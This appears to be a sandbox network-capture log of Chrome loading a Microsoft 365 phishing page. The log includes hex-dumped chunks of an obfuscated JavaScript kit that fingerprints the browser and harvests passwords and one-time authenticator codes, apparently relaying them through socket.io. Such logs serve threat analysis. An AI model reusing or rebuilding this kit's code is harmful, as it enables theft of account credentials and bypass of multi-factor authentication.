2024-10-24 14:04:33 UTC	1025	OUT	POST /o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N HTTP/1.1 Host: chiquitzinbb.com Connection: keep-alive Content-Length: 139064 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://chiquitzinbb.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cid=3208f6c68a77d81894f07f02460fe283
2024-10-24 14:04:33 UTC	16384	OUT	Data Raw: 64 61 74 61 3d 25 37 42 25 32 32 73 63 72 65 65 6e 25 32 32 25 33 41 25 37 42 25 32 32 61 76 61 69 6c 57 69 64 74 68 25 32 32 25 33 41 31 32 38 30 25 32 43 25 32 32 61 76 61 69 6c 48 65 69 67 68 74 25 32 32 25 33 41 39 38 34 25 32 43 25 32 32 77 69 64 74 68 25 32 32 25 33 41 31 32 38 30 25 32 43 25 32 32 68 65 69 67 68 74 25 32 32 25 33 41 31 30 32 34 25 32 43 25 32 32 63 6f 6c 6f 72 44 65 70 74 68 25 32 32 25 33 41 32 34 25 32 43 25 32 32 70 69 78 65 6c 44 65 70 74 68 25 32 32 25 33 41 32 34 25 32 43 25 32 32 61 76 61 69 6c 4c 65 66 74 25 32 32 25 33 41 30 25 32 43 25 32 32 61 76 61 69 6c 54 6f 70 25 32 32 25 33 41 30 25 32 43 25 32 32 6f 72 69 65 6e 74 61 74 69 6f 6e 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 53 63 72 65 65 6e 4f 72 69 65 Data Ascii: data=%7B%22screen%22%3A%7B%22availWidth%22%3A1280%2C%22availHeight%22%3A984%2C%22width%22%3A1280%2C%22height%22%3A1024%2C%22colorDepth%22%3A24%2C%22pixelDepth%22%3A24%2C%22availLeft%22%3A0%2C%22availTop%22%3A0%2C%22orientation%22%3A%22%5Bobject+ScreenOrie
2024-10-24 14:04:33 UTC	16384	OUT	Data Raw: 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 58 4d 4c 44 6f 63 75 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 57 72 69 74 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 57 72 69 74 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 43 6f Data Ascii: %22%3A%22function+XMLDocument%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22WritableStreamDefaultWriter%22%3A%22function+WritableStreamDefaultWriter%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22WritableStreamDefaultController%22%3A%22function+WritableStreamDefaultCo
2024-10-24 14:04:33 UTC	16384	OUT	Data Raw: 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 53 56 47 41 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 70 6f 6e 73 65 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 70 6f 6e 73 65 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 53 69 7a 65 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 53 69 7a 65 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 45 6e 74 Data Ascii: 2%3A%22function+SVGAElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22Response%22%3A%22function+Response%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22ResizeObserverSize%22%3A%22function+ResizeObserverSize%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22ResizeObserverEnt
2024-10-24 14:04:33 UTC	16384	OUT	Data Raw: 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 65 6e 75 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 65 64 69 61 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 65 64 69 61 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 61 72 71 75 65 65 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 61 72 71 75 65 65 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 Data Ascii: %22%3A%22function+HTMLMenuElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22HTMLMediaElement%22%3A%22function+HTMLMediaElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22HTMLMarqueeElement%22%3A%22function+HTMLMarqueeElement%28%29+%7B+%5Bnative+code%5D+%7D%22%
2024-10-24 14:04:33 UTC	16384	OUT	Data Raw: 6f 72 74 53 69 67 6e 61 6c 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 6f 66 66 73 63 72 65 65 6e 42 75 66 66 65 72 69 6e 67 25 32 32 25 33 41 74 72 75 65 25 32 43 25 32 32 57 65 62 41 73 73 65 6d 62 6c 79 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 57 65 62 41 73 73 65 6d 62 6c 79 25 35 44 25 32 32 25 32 43 25 32 32 41 62 73 6f 6c 75 74 65 4f 72 69 65 6e 74 61 74 69 6f 6e 53 65 6e 73 6f 72 25 32 32 25 Data Ascii: ortSignal%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22AbortController%22%3A%22function+AbortController%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22offscreenBuffering%22%3Atrue%2C%22WebAssembly%22%3A%22%5Bobject+WebAssembly%5D%22%2C%22AbsoluteOrientationSensor%22%
2024-10-24 14:04:33 UTC	16384	OUT	Data Raw: 75 74 54 72 61 6e 73 66 65 72 50 61 63 6b 65 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 55 53 42 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 55 53 42 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 Data Ascii: utTransferPacket%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22USBIsochronousOutTransferResult%22%3A%22function+USBIsochronousOutTransferResult%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22USBOutTransferResult%22%3A%22function+USBOutTransferResult%28%29+%7B+%5Bnativ
2024-10-24 14:04:33 UTC	16384	OUT	Data Raw: 4d 65 64 69 61 53 74 72 65 61 6d 41 75 64 69 6f 44 65 73 74 69 6e 61 74 69 6f 6e 4e 6f 64 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 74 72 65 61 6d 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 6f 75 72 63 65 48 61 6e 64 6c 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 6f 75 72 63 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 52 65 63 6f 72 64 65 72 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 51 75 65 72 79 4c 69 73 74 45 76 65 6e 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 51 75 65 72 79 4c 69 73 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 4c 69 73 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 45 72 72 6f 72 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 45 6e 63 72 79 70 74 65 64 45 76 65 6e 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 45 6c 65 6d 65 6e Data Ascii: MediaStreamAudioDestinationNode%22%2C%22MediaStream%22%2C%22MediaSourceHandle%22%2C%22MediaSource%22%2C%22MediaRecorder%22%2C%22MediaQueryListEvent%22%2C%22MediaQueryList%22%2C%22MediaList%22%2C%22MediaError%22%2C%22MediaEncryptedEvent%22%2C%22MediaElemen
2024-10-24 14:04:33 UTC	16384	OUT	Data Raw: 61 75 74 6f 73 74 61 74 65 63 68 61 6e 67 65 25 32 32 25 32 43 25 32 32 6f 6e 73 63 72 6f 6c 6c 65 6e 64 25 32 32 25 32 43 25 32 32 41 6e 69 6d 61 74 69 6f 6e 50 6c 61 79 62 61 63 6b 45 76 65 6e 74 25 32 32 25 32 43 25 32 32 41 6e 69 6d 61 74 69 6f 6e 54 69 6d 65 6c 69 6e 65 25 32 32 25 32 43 25 32 32 43 53 53 41 6e 69 6d 61 74 69 6f 6e 25 32 32 25 32 43 25 32 32 43 53 53 54 72 61 6e 73 69 74 69 6f 6e 25 32 32 25 32 43 25 32 32 44 6f 63 75 6d 65 6e 74 54 69 6d 65 6c 69 6e 65 25 32 32 25 32 43 25 32 32 42 61 63 6b 67 72 6f 75 6e 64 46 65 74 63 68 4d 61 6e 61 67 65 72 25 32 32 25 32 43 25 32 32 42 61 63 6b 67 72 6f 75 6e 64 46 65 74 63 68 52 65 63 6f 72 64 25 32 32 25 32 43 25 32 32 42 61 63 6b 67 72 6f 75 6e 64 46 65 74 63 68 52 65 67 69 73 74 72 61 74 69 Data Ascii: autostatechange%22%2C%22onscrollend%22%2C%22AnimationPlaybackEvent%22%2C%22AnimationTimeline%22%2C%22CSSAnimation%22%2C%22CSSTransition%22%2C%22DocumentTimeline%22%2C%22BackgroundFetchManager%22%2C%22BackgroundFetchRecord%22%2C%22BackgroundFetchRegistrati
2024-10-24 14:04:33 UTC	7992	OUT	Data Raw: 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 Data Ascii: +%5Bnative+code%5D+%7D%22%2C%22createComment%22%3A%22function+createComment%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22createDocumentFragment%22%3A%22function+createDocumentFragment%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22createElement%22%3A%22function+creat
2024-10-24 14:04:34 UTC	234	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:33 GMT Server: Apache X-Powered-By: PHP/7.2.34 Cache-Control: no-store X-Powered-By: PleskLin Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-24 14:04:34 UTC	371	IN	Data Raw: 31 36 65 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 69 64 3d 27 68 74 6d 6c 27 20 73 74 69 3d 27 56 6c 5a 4f 52 6c 56 71 52 54 4a 4e 56 45 46 35 54 55 52 4a 4d 46 5a 55 52 58 68 4e 56 45 46 34 54 6d 70 52 4d 77 3d 3d 27 20 76 69 63 3d 27 27 20 6c 61 6e 67 3d 27 65 6e 27 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 73 6f 63 6b 65 74 2e 69 6f 2f 34 2e 37 2e 35 2f 73 6f 63 6b 65 74 2e 69 6f 2e 6d 69 6e 2e 6a 73 27 20 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 32 68 75 61 5a 76 4f 52 39 69 44 7a 48 71 73 6c 71 77 70 52 38 37 69 73 45 6d 72 66 78 71 79 57 4f 46 37 68 72 37 42 59 36 4b 47 30 2b 68 56 4b 4c 6f 45 58 4d 50 55 4a 77 33 79 6e 57 75 68 Data Ascii: 16e<!DOCTYPE html><html id='html' sti='VlZORlVqRTJNVEF5TURJMFZURXhNVEF4TmpRMw==' vic='' lang='en'><head> <script src='https://cdn.socket.io/4.7.5/socket.io.min.js' integrity='sha384-2huaZvOR9iDzHqslqwpR87isEmrfxqyWOF7hr7BY6KG0+hVKLoEXMPUJw3ynWuh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	157.230.134.73	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:34 UTC	655	OUT	GET /o/jsnom.js HTTP/1.1 Host: chiquitzinbb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cid=3208f6c68a77d81894f07f02460fe283
2024-10-24 14:04:34 UTC	274	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:34 GMT Server: Apache Last-Modified: Wed, 23 Oct 2024 09:34:45 GMT ETag: "18779-6252198a61007" Accept-Ranges: bytes Content-Length: 100217 X-Powered-By: PleskLin Connection: close Content-Type: application/javascript
2024-10-24 14:04:34 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 20 7b 20 63 6f 6e 73 74 20 5f 30 78 35 39 65 62 30 35 20 3d 20 5f 30 78 35 39 65 62 28 29 3b 20 72 65 74 75 72 6e 20 5f 30 78 31 66 61 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 61 65 35 39 2c 20 5f 30 78 33 39 31 66 64 35 29 20 7b 20 5f 30 78 31 66 61 65 35 39 20 3d 20 5f 30 78 31 66 61 65 35 39 20 2d 20 30 78 65 61 3b 20 6c 65 74 20 5f 30 78 63 62 63 31 36 39 20 3d 20 5f 30 78 35 39 65 62 30 35 5b 5f 30 78 31 66 61 65 35 39 5d 3b 20 72 65 74 75 72 6e 20 5f 30 78 63 62 63 31 36 39 3b 20 7d 2c 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 3b 20 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 Data Ascii: function _0x1fae(_0x34ba19, _0x598b18) { const _0x59eb05 = _0x59eb(); return _0x1fae = function(_0x1fae59, _0x391fd5) { _0x1fae59 = _0x1fae59 - 0xea; let _0xcbc169 = _0x59eb05[_0x1fae59]; return _0xcbc169; }, _0x1fae(_0x34ba19, _0x598b18); }(function(_0x3
2024-10-24 14:04:34 UTC	16384	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 66 6f 72 6d 42 75 74 74 6f 6e 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 72 65 6c 61 74 69 76 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 5c 78 32 30 23 30 30 36 37 62 38 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 5c 78 32 30 23 30 30 36 37 62 38 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 0\x20\x20\x0a\x20\x20\x20\x20.formButton\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20position:\x20relative;\x0a\x20\x20\x20\x20\x20\x20\x20\x20border-color:\x20#0067b8;\x0a\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#0067b8;\x0a\x20\x20\x20\x20\x20\x
2024-10-24 14:04:34 UTC	16384	IN	Data Raw: 74 2d 6b 65 79 66 72 61 6d 65 73 5c 78 32 30 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 30 25 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6c 65 66 74 3a 5c 78 32 30 63 61 6c 63 28 2d 35 30 25 5c 78 32 30 2d 5c 78 32 30 35 70 78 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 37 35 25 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 Data Ascii: t-keyframes\x20dot-floating\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x200%\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20left:\x20calc(-50%\x20-\x205px);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x2075%\x20{\x0a\x20\x20\x2
2024-10-24 14:04:34 UTC	16384	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 31 35 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 5c 78 32 30 32 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 75 72 73 6f 72 3a 5c 78 32 30 70 6f 69 6e 74 65 72 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 6e 65 77 32 5c Data Ascii: 0\x20\x20margin-left:\x2015px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin-bottom:\x2020px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20cursor:\x20pointer;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20.new2\
2024-10-24 14:04:34 UTC	16384	IN	Data Raw: 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 62 75 74 74 6f 6e 5c 78 32 30 69 64 3d 5c 78 32 32 73 65 6e 64 41 70 70 43 6f 64 65 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 42 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 73 75 62 6d 69 74 5c 78 32 32 3e 56 65 72 69 66 79 3c 2f 62 75 74 74 6f 6e 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 50 48 4f 4e 45 5c 78 32 30 2d 2d Data Ascii: v>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20id=\x22sendAppCode\x22\x20class=\x22formButton\x22\x20type=\x22submit\x22>Verify</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20...\x20PHONE\x20--
2024-10-24 14:04:34 UTC	16384	IN	Data Raw: 32 65 34 64 61 28 30 78 66 66 29 20 2b 20 5f 30 78 34 66 31 66 33 32 5b 5f 30 78 31 32 65 34 64 61 28 30 78 31 31 66 29 5d 20 2b 20 27 5c 78 32 37 29 27 2c 20 5f 30 78 34 66 31 66 33 32 5b 27 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 27 5d 20 21 3d 20 5f 30 78 31 32 65 34 64 61 28 30 78 31 36 38 29 20 26 26 20 5f 30 78 34 66 31 66 33 32 5b 5f 30 78 31 32 65 34 64 61 28 30 78 66 33 29 5d 20 21 3d 20 5f 30 78 31 32 65 34 64 61 28 30 78 31 36 34 29 20 26 26 20 28 5f 30 78 32 33 33 31 65 63 5b 5f 30 78 31 32 65 34 64 61 28 30 78 31 37 38 29 5d 5b 5f 30 78 31 32 65 34 64 61 28 30 78 66 36 29 5d 20 3d 20 5f 30 78 31 32 65 34 64 61 28 30 78 65 65 29 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 5f 30 78 34 66 31 66 33 32 20 3d 3d 3d 20 27 4c 44 Data Ascii: 2e4da(0xff) + _0x4f1f32[_0x12e4da(0x11f)] + '\x27)', _0x4f1f32['backgroundImage'] != _0x12e4da(0x168) && _0x4f1f32[_0x12e4da(0xf3)] != _0x12e4da(0x164) && (_0x2331ec[_0x12e4da(0x178)][_0x12e4da(0xf6)] = _0x12e4da(0xee))); if (_0x4f1f32 === 'LD
2024-10-24 14:04:34 UTC	1913	IN	Data Raw: 20 27 2e 62 61 63 6b 41 72 72 6f 77 27 2c 20 27 40 6d 61 69 6c 2e 27 2c 20 27 40 67 6d 61 69 6c 2e 63 6f 6d 27 2c 20 27 6c 6f 63 61 74 69 6f 6e 27 2c 20 27 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 2e 63 6f 6d 27 2c 20 27 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 27 2c 20 27 70 68 69 73 68 5f 69 64 27 2c 20 27 75 73 65 72 4c 61 6e 67 75 61 67 65 27 2c 20 27 40 31 36 33 2e 27 2c 20 27 70 61 73 73 77 6f 72 64 5f 63 6f 6d 6d 61 6e 64 27 2c 20 27 70 61 73 73 77 6f 72 64 27 2c 20 27 31 38 33 37 32 32 34 75 42 70 6b 6c 77 27 2c 20 27 6e 65 77 2d 73 65 73 73 69 6f 6e 27 2c 20 27 2e 65 6d 61 69 6c 4c 61 62 65 6c 27 2c 20 27 40 70 72 6f 74 6f 6e 6d 61 69 6c 2e 27 2c 20 27 4f 33 36 35 27 2c 20 27 52 51 5f 4f 54 50 5f 41 50 50 5f 43 4f 44 45 27 2c 20 27 76 61 6c 75 Data Ascii: '.backArrow', '@mail.', '@gmail.com', 'location', 'https://google.com', 'preventDefault', 'phish_id', 'userLanguage', '@163.', 'password_command', 'password', '1837224uBpklw', 'new-session', '.emailLabel', '@protonmail.', 'O365', 'RQ_OTP_APP_CODE', 'valu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	18.245.31.33	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:35 UTC	566	OUT	GET /4.7.5/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://chiquitzinbb.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://chiquitzinbb.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
